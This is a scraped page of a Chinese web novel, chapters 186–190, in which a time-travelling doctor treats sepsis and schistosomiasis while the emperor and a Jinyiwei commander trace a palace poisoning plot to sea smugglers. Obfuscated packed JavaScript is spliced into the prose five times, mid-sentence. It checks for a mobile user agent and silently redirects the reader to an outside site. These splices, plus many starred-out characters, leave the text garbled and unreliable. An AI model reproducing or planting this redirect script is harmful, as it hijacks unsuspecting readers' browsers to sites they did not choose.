“原本应该清晰、活跃,奋力吞噬入侵的病菌。”马淳的声音低沉,“但现在……它们被大量繁殖的、我们肉眼看不见的病菌拖垮了、毒害了。”
老李头听不懂什么细胞病菌,只关心儿子。
“马大夫,那这毒……”
马淳理解他的焦急。“药物正在清剿这些看不见的敌人。”
他指了指滴注的药液瓶,“输进身体的药,就是给这些卫士增兵、清场。”
“那些口服的药粉呢?”
“它们是预备队,巩固战果,防止敌人卷土重来。”
小六恍然大悟。“哦!原来是这样打仗!”
徐妙云也明白了这药物和病菌“作战”的道理。“那这些红点瘀斑……”
“出血点。”马淳解释道,“大量病菌和毒素破坏了我们血液里的‘秩序’。原本负责止血的‘士兵’(血小板)被打散或被毒**,血液更容易渗漏出血管,淤积在皮肤下,就形成了这些点或斑。”
小六看着二牛皮肤上的瘀斑。“原来是血跑出来了。”
经过及时救治。
二牛的情况慢慢好转,高热逐渐退去,呼吸平稳下来。
虽然人还没醒,但脸色不再是灰败的死气沉沉,嘴唇的绀紫色也淡了。
老李头悬着的心总算放下大半,不停地道谢。
趁着病人情况稳定。
马淳决定给小六和妻子加深印象……
第186章朱元璋:吕氏病了?就让她病死吧
他指着桌上剩下的药瓶,“这静脉药物,我叫它特效抗生素。”
“抗……生素?”
“嗯,抵抗生命体(原意指微生物)分泌的毒素,口服粉末也是。”
小六看着药粉:“它们专打那种看不见的病菌?”
“对,专杀某些类型的病菌。”马淳点头。
“那病菌怎么进身体?”徐妙云问道。
这是关键的预防知识。
“可能从任何破损的地方侵入。”马淳指了指二牛。“二牛是在宁波接待海外藩属国贡船的,很可能是在船上,身体某处小伤口不注意清洁,感染了。”
他转向小六,“所以记住!任何时候出现伤口,不论大小,一定第一时间彻底清理!用干净清水,最好用煮开冷却的水,加一点盐,或者用特制的消**水仔细冲洗!然后包扎好!”
小六用力记住。“知道了师傅!清洁伤口最重要!”
徐妙云想到自己和未出世的孩子。
“那……日常该如何预防?”
“第一,如我刚才说,处理伤口要极洁净。”马淳语重心长。
“第二,保持自身强健。睡好、吃好。多吃新鲜菜蔬,尤其是……嗯……”他顿了顿,这里没维生素片。“尤其是……柑橘、绿叶菜。”
他想起之前提过的办法。
“比如柑橘,富含一种能增强抵抗力的好东西。”
“师傅,”小六插话,“上次你说橘子水也是药?”
“某种程度上是。”马淳赞赏地看了他一眼,“柑橘类水果里含有一种……‘抗坏血因子’,对身体很好。没条件吃新鲜果子时,记得我之前说过的,保存柑橘皮、橙皮吗?”
“记得!晒干的橘皮橙皮泡水喝!”小六抢答。
“对。”马淳点头,“每天给病人喝一些新鲜的柑橘挤汁的水,或者煮些好的橘皮水。记住,要当天的,隔夜不能要!水里可加一点点蜂蜜或糖。”
“这管用吗?”
“有很好的辅助作用。”
他又取出一些干净的棉纱片。
“病人身上若有创口,要给他彻底换药清洁。”他指着二牛。“你们看,幸好他送来得及时。”
他严肃地看着小六。“切记:对突发高热寒战、意识模糊、身上出现这种压不褪色的红点或紫斑的病人,一刻都不能拖延!”
小六大声应道,“记住了师傅!要快!”
马淳强调着败血症救治和预防的关键,小六听得全神贯注,将师傅的每一点告诫都刻进心里。
“记住就好。”马淳终于结束了他的教学,看向昏迷但气息趋于平稳的二牛,对一旁焦急的老李头道,“老李头,安心些。二牛送来得及时,用的药也对症。等他退了烧,人清醒过来,慢慢调理,命是能保住的。”
老李头扑通一声就要跪下磕头,“谢神医救命之恩啊!马大夫!您真是活菩萨!”
“快起来!”马淳连忙扶住他,“悬壶济世是本分。小六,去倒碗温水给老李头压压惊。”
小六应声跑开。
马淳目光转向门外。
……
应天府,皇城深处。
蒋瓛将在诏狱里吴全崩溃下吐露的供词,一字不落地向朱元璋复述完毕。
那些血燕盏、昆仑鲍的来历。
张阔海与吕氏往来的密信。
常氏药案被篡改销毁的细节。
尤其是吴全供出张阔海酒后失言那句——“吕娘娘背后水很深,站着一座大山,还有不少人……”
朱元璋一直闭着眼听。
待蒋瓛最后一句话音落下,那敲击的指尖蓦然停止了动作。
整个御书房陷入了更深沉的寂静。
预想中的怒火并未降临。
空气似乎凝滞了几个呼吸。
然后……
“呵……”
一声短促低沉的笑,从朱元璋喉咙里逸出。
“哈……哈哈哈……”朱元璋的笑声陡然放大,带着一种难以形容的复杂情绪。
笑声在空旷的书房里回荡,不像是纯粹的喜悦,更像是一种如释重负后的决断。
朱元璋睁开眼,那双阅尽沧桑、杀伐决断的眸子里,跳跃着锐利的光芒。
没有愤怒,没有悲痛。
“蒋瓛。”朱元璋开口。
“臣在。”蒋瓛立刻应道。
“咱问你,”朱元璋的目光锁在蒋瓛脸上,“若论医术精妙,识毒解毒的本事,是马淳高,还是太医院里那群酒囊饭袋高?”
蒋瓛毫不犹豫:“自然是马国公医术通神,远胜太医院众人。皇后娘娘、皇长孙的病症皆赖国公妙手。臣亲见国公辨识‘温玉散’之毒,于细微处见真章,非太医院庸医所能及。”
“嗯。”朱元璋满意地点点头,“那不就结了?咱如今有了马淳坐镇!有他在,咱的妹子,咱的标儿,咱的亲亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979768|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大孙雄英!他们的命,谁能轻易动得了?”
他摊开手掌,随即猛地攥紧成拳,“天家贵胄,传承有序!继位的路,已经铺得平平整整!这时候,吕氏这一头,她自己不安分,自己跳了出来,把自己作**!还带着几个尾巴!让咱摸清楚了底细!”
“这不正正好吗?!”
“既然她要找死!既然那些人自己露出了狐狸尾巴!那咱正好顺水推舟,来一场彻彻底底的清算!”
蒋瓛跟在皇帝身边这么多年,当然明白皇帝现在的心思。
如果没有马淳在。
皇帝的发妻和长孙都可能过世。
届时就算知道了吕氏害死常氏,可继承人难道还能选一出生就背负不孝骂名的朱允熥。
皇帝当然很同情朱允熥。
但在天家大事上,容不得任何迟疑。
朱允炆若论聪明,的确要胜过朱允熥不少。
然而出现了马淳这个转机,马淳将朱雄英给救下来。
朱雄英是比朱允炆更聪慧的存在,而且还是自己的嫡长子嫡长孙。
对于朱元璋这种极其重视长幼有序的皇帝来讲,朱雄英的位置是任何人都不能动摇的。
而吕氏的存在,对朱雄英就是不利的。
现在吕氏自己主动跳出来,给了皇帝清理掉她,甚至她背后那些势力的借口,这是多好的一件事。
斩草除根!
即为自己的嫡长孙扫除障碍,又不伤天家和气。
简直完美!
“蒋瓛!”
“臣在!”蒋瓛精神一振,挺直了胸膛。
“给咱榨干这个吴全最后一点油星子!”朱元璋的命令清晰冷酷,“让他吐!让他把他知道的所有名字,所有勾当,全给咱一个字一个字地吐干净!一个字都不能漏!却不能弄**他!”
蒋瓛心头凛然:“臣遵旨!定将那吴全的骨头缝都榨干净!”
朱元璋微微颔首,那股狂暴的气势稍稍收敛。
“至于吕氏……”朱元璋话锋一转,“她既然‘病’了这么久,那就让她继续病着!病得越重越好!传消息出去,就说太子妃病情加重,已病入膏肓!”
蒋瓛一愣,随即明白,这所谓的病入膏肓已经暗示了,吕氏治不好了,就算马淳有神仙手段,吕氏都会死。
这也是最好的选择。
皇帝都不需要亲自动手,吕氏重病不治,那是多好的理由。
第187章吕氏的背后很可能是走私集团!
“是!陛下圣虑深远!”蒋瓛深深低头。
朱元璋缓缓坐回龙椅,挥了挥手:“去办吧。有进展,立刻来报!记着一切依计而行,你只听命于咱一人。此事……咱,什么都不知道。”
“臣,明白!”蒋瓛心领神会,这是最核心的密旨。
沉重的殿门在身后轻轻合拢。
御书房内,又只剩下朱元璋一人。
他脸上的阴沉已经彻底褪去,取而代之的是一种冰冷、笃定、稳操胜券的意味。
他拿起案头一枚奏章,掂了掂,又随意地丢回桌面。
“也该彻底清一清了……”朱元璋沉声道。
其实吕氏背后都站了一些什么人,很容易猜,他早就想动手,但总得有个理由,这叫出师有名。
他的目光望向宫外的某个方向,那里是小青村。
那里,有他选定守护继承人的绝世神医。
这盘关乎大明江山千秋万代的棋局,所有的关键棋子都已悄然落定。
而他,执子者,只需要静静等待收网那一刻的到来。
那一刻,必然是雷霆万钧,将一切阻碍彻底扫除干净。
……
夜渐渐深了。
东宫深处的东配殿,吕氏斜倚在冰冷的软榻上。
“周子良那个废物……一点事都办不成!连个动静都没有!”她的声音带着刻骨的恨意。
“吴全呢?他那东西……送进去了吗?”她挣扎着追问侍立在榻边的贴身老嬷嬷。
老嬷嬷头垂得更低了,“娘娘息怒。吴全那边……还没递进话来。许是……许是路途远了些,或是东西藏得严实,得寻着万无一失的机会才能动手……”
“等!还要等到什么时候!”吕氏猛地拔高了声音,“咳咳……咳咳咳!等到那**的孽种生下来吗?!咳咳咳……”
老嬷嬷慌忙上前帮她拍背顺气。
她侍奉吕氏多年,深知这个表面恭顺、内里狠戾的女主人的所有手段,更知道如今东宫已是何等危机四伏。
“娘娘,身子要紧,保重玉体啊!”老嬷嬷的声音带着恳求,“留得青山在……”
“我还有什么青山!”吕氏喘息未定,“我……我完了……常氏那****……她**!这位置本来就该是我的!是我的!”
“她**……她的儿子也差点**……我的儿子……我的炆儿……”
她的声音渐渐低落下去,“我不会输的张阔海替我做了那么多事,吴全一定能把事办成,把马淳把那姓徐的……”
……
蒋瓛踏进小青村医馆后院时,日头已经偏西。
徐妙云在里屋休息,只留他二人站在院角那片药架下。
“全招了。”蒋瓛道,“跟你推想的,分毫不差。”
他快速地将吴全在诏狱里如何崩溃、如何吐出张阔海和吕氏勾连的桩桩件件,清晰地叙述出来。
“张阔海那个死鬼,就是替吕氏处理脏物的手。血燕、昆仑鲍、雪蛤……全是毒囊子。”
“还有‘温玉散’?”马淳追问。
“是,核心就是它。”蒋瓛重重点头,“温玉散,吴全交代是张阔海从一个神秘渠道得来的药引子。他们用这东西浸泡那些所谓的顶级补品。”
“浸泡?”马淳眉头紧锁,“炮制手法极关键。吴全懂这些?”
“他不懂。”蒋瓛否定得很干脆,“张阔海亲自处理,吴全只管跑腿搬运封存。他只知那‘温玉散’闻起来有股不易察觉的淡淡甜腥。无色无味融于滋补品后,根本验不出。”
马淳目光锐利如刀:“验不出?给我点时间,我能让它显出原形。”
他脑中瞬间拉出前世记忆片段。
那是他曾在南方一座古老的中医药研究所实习时,无意翻阅过的一份破损笔记复印件。
上面提到了几种早已失传的古代隐秘配方和它们可能的替代成分。
他指着纸包里那点不起眼的赤色残留。
“蒋兄你看,”他捻起一小点粉渣,凑到鼻尖下极轻地嗅了嗅,“先不论其毒性原理,单看材质。”
蒋瓛凝神。
“此物色泽赤褐近乎血朱,”马淳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979769|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用指尖仔细碾磨感受,“颗粒极其均匀细腻,非寻常石粉。质感带油润感,不扬尘。”
他眼神投向虚无,仿佛在检索大脑中的文献库,“依我接触过的古籍记载推测,此类秘药,多取材自极其罕见域外奇物。”
“有何凭据?”蒋瓛问得直接。
“其一,气味。”马淳断然道,“尽管已被刻意掩盖稀释,我方才细闻之下,仍捕捉到几缕极淡的奇特木香,并非中土所有树木之味。”
他语气愈发肯定:“其二,吴全提及的‘甜腥’感来源。我在书中见过类似记载描述,此腥中带甜之息,最可能源于两种东西混合——”
“天竺所产的番木鳖根芯(一种剧**物,古人认为源于印度一带),或南海一带瘴疠之地的某些大型毒蜥肝脏提取物,再辅以高度精炼过的黄樟根油(黄樟树根皮精油中含**)。
“而这两样东西,”他抬起头,“别说大明药肆市集,就是皇宫大内正牌贡库,存不存在都成问题!”
“宫里没有?”蒋瓛的声音绷得很紧,“吴全招供时,倒是提过一句张阔海的醉话。他说,张阔海有一次酒后失态,骂骂咧咧中提到吕氏,说她‘背后水很深’,‘站着一座大山,还有不少人’。”
“一座大山……”马淳咀嚼着这四个字。
“寻常官宦勾结,张阔海一个院判,不至于惶恐至此。”马淳道,“能让他觉得是‘大山’,能让吕氏手里源源不断流出这些根本不可能出现在大明土地上的毒物……”
他停顿了刹那,一个清晰的答案浮出水面:“只有一种可能——沿海!走私海商!”
蒋瓛的眼神豁然锐利如电!
“你是指,”他周身都绷紧了,“吴全口中吕氏背后真正的靠山,是江南那些无法无天、连朝廷禁令都敢踩在脚下的巨商?”
他脑中瞬间串联起无数碎片信息。
浙江宁波港。
泉州月港私市。
双屿岛上的无法无天。
一个个地名在他脑中清晰串联起来……
第188章这条线可能会牵出了天大案子!
那些盘踞在曲折海岸线后,像藤壶一样吸附在大明海禁令缝隙里的庞大势力!
他们有船!能通天竺,下通暹罗南洋!
他们有门路!能避开市舶司层层稽查,将海外稀罕之物无声运入!
他们有银!足以让宫里的任何一道缝隙都渗进去!
“温玉散的原料……血燕昆仑鲍这些‘贡品’级别的毒物源头……”蒋瓛声音冷得像铁,“若来自海上,那这条线背后的人,其势力恐怕已非一地一城豪商!足以称得上‘大山’二字!”
马淳缓缓点头,“普通的药材商人,能搞点人参鹿茸已是极限。如此稀有毒物,产地遥远,非大宗、稳定且有强大背景的海上走私渠道不可得。”
两人之间的空气凝固了。
“你想让我怎么做?”蒋瓛打破了沉默。
“查张阔海经手药库的最后十年!”马淳语速飞快,“特别是所有标识为‘**’或‘外藩稀珍’的药材入库记录!谁供货?经谁的手引入太医院?入档时经手人又是谁?”
“尤其是那些年记录模糊不清、语焉不详的!”他盯着蒋瓛,“吕氏要用毒,必然要切断明面来路!记录必有猫腻!”
蒋瓛眼中精光爆闪!
“明白了!”他身形绷直如弓弦,“我会撒人下去。太医院库档是主阵。但源头在海上。”
他看向马淳:“温玉散的影子既然指向海路,我就从海路查起!药材如此,那张阔海提到的‘大山’,终会有迹可循!”
他不再多言,朝马淳略一点头:“等着。”
蒋瓛转身便走。
马淳站在原地没动。
许久后走回桌边,目光落在那包残留的赤色粉末上。
他拿起那个小小的纸包,仔细审视。
那些几不可见的粉末似乎蕴含着某种无声的凶险。它们跨越重洋而来,在阴暗的交易场中被辗转易手。
最终通过张阔海这类内鬼,送入高贵的东宫。
它们在常氏温润的补汤中悄然弥散。
又在吕氏的精心包装下,险些钻进了妙云的口腹。
一条无形的毒链,从波涛汹涌的海洋,直通这大明王朝最尊贵的府邸后院!
马淳只觉得一股冰凉的寒意,顺着脊椎无声无息地爬了上来。
太医院库档,那是明面上容易下手的线头。
但真正编织这条毒链的手,那隐藏在海上迷雾背后的巨大阴影。
这温玉散的来历,究竟牵连着何方鬼蜮?
他走到医馆后窗,外面村庄炊烟正起,孩童的嬉闹远远传来。
安宁祥和之下,是看不见底的黑暗汹涌。
……
蒋瓛的动作比他预想的更快。
一天后的傍晚,医馆刚刚点上灯。
吱呀一声轻响。
后院那扇小门被悄无声息地推开。
“谁?”守在旁边的小六冷喝。
“我。”蒋瓛的声音响起。
“有眉目了?”马淳放下手里看了一半的旧药典。
蒋瓛从贴身衣物中取出一份薄薄的油纸包,放在桌上。
“没查到温玉散。”他开门见山,“这东西太隐秘,像是幽灵,没留下入库痕迹。”
他展开油纸包,里面是一张折叠起来的泛黄笺纸,上面密密麻麻写满蝇头小楷。
“但我查了太医院库房‘番药’档册,洪武十一年到十五年张阔海主事期间。”蒋瓛指着纸上几个被红圈标记的名字,“你划出的几种可能药引来源——番木鳖、**、南海大蜥胆……这几样,在档册上有过入册记录的年份,都与这几家皇商脱不开干系!”
马淳迅速扫过那几行模糊不清的供货署名。
“顺义隆商行?丰裕海货行?”他立刻辨认出,“没错,这两家是应天和松江地面有名的大海商!明面上经营丝绸瓷器出海,暗地里……哼,市舶司的人谁不知道他们的买卖?”
蒋瓛冷笑:“这几家皇商有特许海贸文书,能量不小。张阔海经手的**药材,半数来源是他们!”
大明虽然实行海禁,但也有一些商行能与藩属国做一些朝贡贸易。
而那些持有特许海贸文书,就有能力从外面搞到稀奇东西。
他点了点名单最后一行那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979770|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有些模糊的标记。“最有意思的是这个。”
他指尖停留在一个很不起眼的位置:“洪武十五年秋,一份标示‘域外杂木百斤’。供货方署名只草草写了个——天泽兴隆栈。”
“天泽兴隆?”马淳皱起眉头。
“对。”蒋瓛眼神锐利如刀锋,“登记用途含糊其辞,只说是‘太医院用作器皿熏香’。入库时间是洪武十五年秋天,正是张阔海被**前几天!”
“百斤……域外杂木?”他抬眼看蒋瓛,“你查过这‘杂木’具体指什么?能确认吗?”
“没有字据写明。”他答得干脆,“吴全那孙子骨头都榨碎了,只记得确实收过一批海外沉甸甸的木头箱子。张阔海亲自过的手,直接锁进他的小药坊仓库里,旁人一概不许靠近。”
他顿了顿,补了一句:“吴全趴地上跟我比划,箱子不大,但死沉。那木头味怪,甜里裹着辣。”
“这就对了!”马淳声音猛地拔高,随即意识到里屋休息的徐妙云,又迅速压下去,“黄樟木!唯有黄樟木芯提炼出的精油,才有那股特殊的甜烈辛香!它正是温玉散掩盖核心毒素气味的关键药引!”
**!正是温玉散关键成分来源之一!
年份刚好对上张阔海!
而吴全曾供认,张阔海处理那些毒物,通常是在太医院自己的药器小作坊内进行!
“可洪武十五年秋天……我和妙云尚未相识!更未成亲!吕氏当时要害谁?!”
蒋瓛盯着他,“是啊,马国公,那时候你在小青村晒草药。徐家大姑娘养在深闺。吕氏吃饱了撑的,耗费大价钱动用人脉、启用张阔海这种级别的暗棋,弄来这批专给温玉散打掩护的黄樟木,就为了留着半年后专门毒你们俩?”
“这理由,你信吗?”
马淳摇摇头。
“吴全还撂了点别的。”蒋瓛的声音像掺着冰渣子,“温玉散这东西,霸道归霸道,可知道怎么配、配得准的人,据张阔海醉酒吹牛时漏过的话,少之又少!‘十方天下,精于此道者,一指可数!’”
……
第189章老朱早已掌控一切!!
他抬眼,直视马淳眼底的寒潭。
“你说张阔海那老东西,够资格位列这一指之中吗?”
马淳点头,“张阔海的死不是因为医术不精,他是被侄子牵连,能当院判,不会白给的。”
张阔海!
那个在朱元璋雷霆之怒下,与其冒功顶替的侄子一同被拖往刑场、全家抄斩的倒霉太医院判!
若不是那张景明在村里冒领自己治瘟疫的功劳……
若不是朱元璋勃然大怒追查到底……
张阔海就不会被牵扯出来,落得身首异处的下场!
若是他还活着,他这条擅长炼制温玉散的毒蛇,此刻必定还盘踞在太医院暗处,继续为吕氏、为那海上的“大山”提供源源不断的致命**!
马淳只觉得一股冰冷的尖锐气息直冲颅顶。
他喉头滚动了一下,“所以……”
“所以张景明该死!”蒋瓛哼了一声,“你误打误撞揪出那个没用的侄子!陛下暴怒挥刀剁了他亲叔叔!”
“剁得好!”蒋瓛眼中爆出一点狼性的光,“这一刀下去,干净利落!把吕氏手里那柄浸透了毒、专会玩阴招的王牌**,直接砍断了刀身!”
“这温玉散的流毒之源,并非只在深宫!”马淳道,“它始于海上阴风,通着江南大豪!毒木来自‘天泽兴隆栈’。”
“那就去会会这个‘兴隆栈’!”蒋瓛眼神更冷,“查!他们背后是谁!往哪儿运!”
他深深看了马淳一眼。
“断了他们的毒牙,更要挖出他们的毒根。否则,寝食难安!”
蒋瓛不再多言,将那张皱巴巴的纸团塞入怀中。
“海边,我去定了。”
声音远远丢下,马蹄声很快响起。
……
后院的门被轻轻带上,医馆内重归安静,里屋的门帘一动,徐妙云走了出来,眉头微蹙。
她走到马淳身边,低声道:“夫君,你说……这件事,陛下当真毫不知情?”
“咱们这位陛下啊……”马淳很有自信道,“什么时候让人在他眼皮子底下弄过鬼?”
徐妙云一怔。
“那你为何……”她不解地看着丈夫,“之前又暗示蒋瓛,不要立刻面圣?”
“总要留一步台阶的。”他语气平淡。
“台阶?”徐妙云没明白。
“嗯。”马淳点头,“届时事情彻底明朗,陛下完全可以这样讲,‘之前并未深知’‘今日方知此案牵连如此深远’,‘幸有锦衣卫详查报来’。如此这般,既全了圣躬威仪,又得了铁证如山。最主要的是,全了陛下和太子之间的父子之情。”
马淳笑了笑,“这便是为君者,进退的分寸。”
徐妙云恍然大悟。
“可……”她仍有疑虑,“陛下何等英明!会看不穿你这点小小的心思?”
马淳脸上的笑容深了些,带着一丝坦然,“陛下当然看得透。可这层窗纸,不点破,不挑明,这就是为臣者要留的余地,也是为君者默许的空间。”
他看着妻子,“点破了,反而不美。”
徐妙云微张着嘴,一时无言。
她静静望着丈夫。
这一刻,徐妙云忽然无比清晰地意识到一件事。
她这位以神医名动四方的夫君。
他那双能枯骨生肌的手。
不止能悬壶济世,治病救人。
更能在波谲云诡、**不见血的庙堂倾轧之中。
轻巧落子,步步为营。
他不仅手握活**肉白骨的惊世医术。
更有一份深藏不露的、能在龙潭虎穴间从容周旋的清醒与智慧。
一股难言的震动和温热,悄然撞上她的心尖。
原来,他比自己看到的、想到的,更要洞明世事。
这份深藏的心思,比那出神入化的医术,更能在这滔**柄与诡谲阴谋织就的天罗地网里护住她,护住未出世的孩子。
“原来如此……”她低低呢喃了一句。
她轻轻靠过去。
温软的掌心覆上马淳的手。
“那这次吕氏背后那条毒蛇的线索,真的能顺着这根藤,替太子妃讨还一个公道吗?”
常氏太子妃和她的孩子朱允熥。
马淳目光坚定如磐石,他反手轻轻回握住妻子的手,“能!”
他吐出的这一个字,斩钉截铁。
“这根线
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980965|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,从宫里牵出来,穿过张阔海这条断了头的狗,扎进了海上走私的脏窝子。‘温玉散’‘天泽兴隆’,这名字已经露了尾巴!蒋瓛此人,你我都知分量。”
“他要盯上的狐狸,没有一条能逃出他的猎网,只要源头还在海上动,只要那些人还在呼吸,就一定会被揪出来!一个,都逃不掉!”
“害太子妃难产薨逝,害雄英差点夭折,又把手伸向你,这条毒链上的每一环,从吕氏那个瘫子,到海上那些黑手。一个,都别想躲过血债血偿!”
她不再说话,只是更紧地依偎过去。
皇城深处,某处普通宫室院落的一角。
灯火未熄。
一个身着普通内侍服色的太监,端坐在矮榻上。
姿态恭谨,眼观鼻,鼻观心。
他对面阴影里,坐着一个轮廓模糊的身影。
低沉的声音在狭小的室内响起,带着无形的威压。
“都安排下去了?”
“干爹放心,”年轻些的太监声音恭顺平静,“‘船工’已经上船了。‘海鸟’今晚能收到料,知道该往哪个方向撒网。”
“‘窝’里呢?”
“也稳着。”内侍答道,“一切如常,没起乱子。知道‘灯’还没灭,下面的人都还绷着弦。”
对面阴影里传来一声几不可闻的轻嗯。
“东宫那个瘫子……”话头一转。
“回干爹,”内侍立刻接上,“闹得厉害。不过……闹不动的。那条腿,断了就是断了。”
阴影里的人沉默了一瞬,“断了就好……断了,就省心。知道吴全的人呢?”
内侍微微一顿,声音更低:“……料石沉海了。”
“沉了?”
“是,沉得干干净净。”
“那就好。”阴影里的声音平淡无波,“风急浪大……掉海里,很正常。”
内侍的头垂得更低了些。
“明白。本就是颗沉底的沙子。”
“嗯。”阴影里应了一声,“剩下的尾巴扫干净。海上……风浪来了,船要稳。”
“儿子明白。”
“去吧。”
内侍起身,躬身行礼,退了出去……
第190章血吸虫病!小小虫子害了无数人!
天色刚透出一点蟹壳青,医馆的木门板就被拍得啪啪响。
小六打着哈欠拉开门栓。
一股浓重的鱼腥味混着汗酸气先冲了进来。
门口站着个黑瘦老汉,他背上趴着个半大少年,脸埋在他肩窝里,只能看见一头枯草似的黄毛。
老汉急得嘴唇哆嗦,“马大夫!救命啊!”
马淳已起身,见这架势,立刻上前帮老汉卸下背上的少年。
少年软绵绵的,放在诊床上,才看清他脸色蜡黄,眼窝深陷。
嘴唇却是反常的紫黑色。
眼皮沉重地掀开一条缝,露出浑浊、没什么神采的眼珠。
“爹……”声音气若游丝。
“铁娃!铁娃别睡!马神医来了!”老汉粗糙的手紧紧攥着儿子发烫的手腕。
马淳没多问,手指已搭上少年的脉门。
指下的脉搏又快又乱,像一群受惊的兔子在狂奔,虚浮无力,是典型的元气大伤之象。
“多久了?”他一边诊脉,一边问。
“快,快俩月了!”老汉急急地说,“起初说没力气,不想吃饭。俺们湖边打鱼的人家,哪个娃儿不泼实?只当累了歇歇就好。”
“哪晓得……哪晓得越来越狠!浑身发烫,跟火炉子似的!躺炕上都喊骨头疼!”
他拍着自己干瘦的肋下,“这儿肿得老高!俺家这娃命苦啊……”
“前些日子拉了泡屎,俺看着不对,发黑!俺心里头就咯噔一下,再后来,竟……竟带了血丝!”
老渔民都知道,人一旦拉血便,多半凶多吉少。
马淳面色凝重。
他示意少年张嘴,一股腥膻气扑面而来。
舌苔黄厚腻,舌下的脉络呈现暗紫色。
“咳嗽吗?”马淳问。
铁娃有气无力地点点头,“咳……有痰……”
马淳心中警惕的弦绷紧了。
水肿、高热、无力、厌食、便血、咳嗽……
症状组合指向一个在南方水乡肆虐千百年的阴影。
“老伯,”马淳沉声问,“家可是住在湖边?常下水?”
老汉忙不迭点头,又恨恨叹气,“江州!俺们是江州老湾村的!祖祖辈辈靠打鱼吃水!铁娃自小就在湖里扑腾!摸螺蛳、捞虾,跟喝水似的!可谁……谁家娃儿不下水嘛!”
老汉说着,眼圈红了。
果然如此。
马淳的心猛地一沉。
水。
疫水。
是南方水网地区渔民、农夫宿命的诅咒。
他站起身,走到水盆边仔细洗手。
“老伯莫急。你这娃儿,得的恐怕是‘水蛊症’。”
老汉一愣:“水……水蛊?”
这病名听着就瘆人。
旁边的小六也疑惑地抬头看向师傅。
徐妙云听到动静,也从里屋缓缓走出。
她扶着腰,小腹已经隆起明显。
看到诊床上铁娃憔悴的模样,眼里满是担忧。
马淳走回铁娃身边,轻轻按了按他隆起的肝区。
铁娃痛得猛地蜷缩,闷哼一声。
“疼?”
“嗯……”铁娃咬着发紫的嘴唇点头。
“肚子硬?”
“……硬邦邦的……”
徐妙云小声问:“夫君,水蛊……是什么恶疾?”
她下意识护住自己的小腹。
马淳抬眼,目光扫过三人。
老汉焦灼,妻子忧心,徒弟茫然。
他们都对这盘踞水乡千百年的索命幽灵一无所知。
“这病,”马淳的声音沉重,“不是鬼,也不是巫。是人下水时,染上了一种肉眼看不见的虫子!”
“虫?”老汉眼睛瞪得溜圆,“啥虫子能祸害成这样?”
“看不见的虫子?”小六也伸长脖子。
“对,极其微小。”马淳点头,“它藏在水里。更准确地说,它藏在你村子湖边、稻田、水沟的那些‘钉螺’身体里!”
“钉螺?”老汉像是想起了什么,“湖边水洼里那种灰不溜秋、个头不大、壳硬的野螺?满湖汊都是!一抓一把!”
“就是它!”马淳斩钉截铁,“那虫子先在这些钉螺里头长。长到一定时候,会离开螺,在水里游动。它们极小,人在水里劳作、嬉戏时,这些虫子就会钻破人皮,穿透筋肉,逆着血脉而上!最后盘踞在肚肠里、在肝胆里、甚至在肺里!一边吸血!一边下卵!”
铁娃的脸更加惨白。
老汉听得浑身发冷,“下……下卵?”
“是。它们在人身体里做窝。下的卵会随着粪便排出……”马淳的声音更冷,“这些卵到了水里,遇到钉螺,又会钻进去,再长成那害人的虫子!”
小六倒抽一口凉气。
水、钉螺、虫子、人……
一个**的死循环。
“那些卵!”老汉猛地想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983495|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起儿子的黑便血丝,“是不是……是不是……”
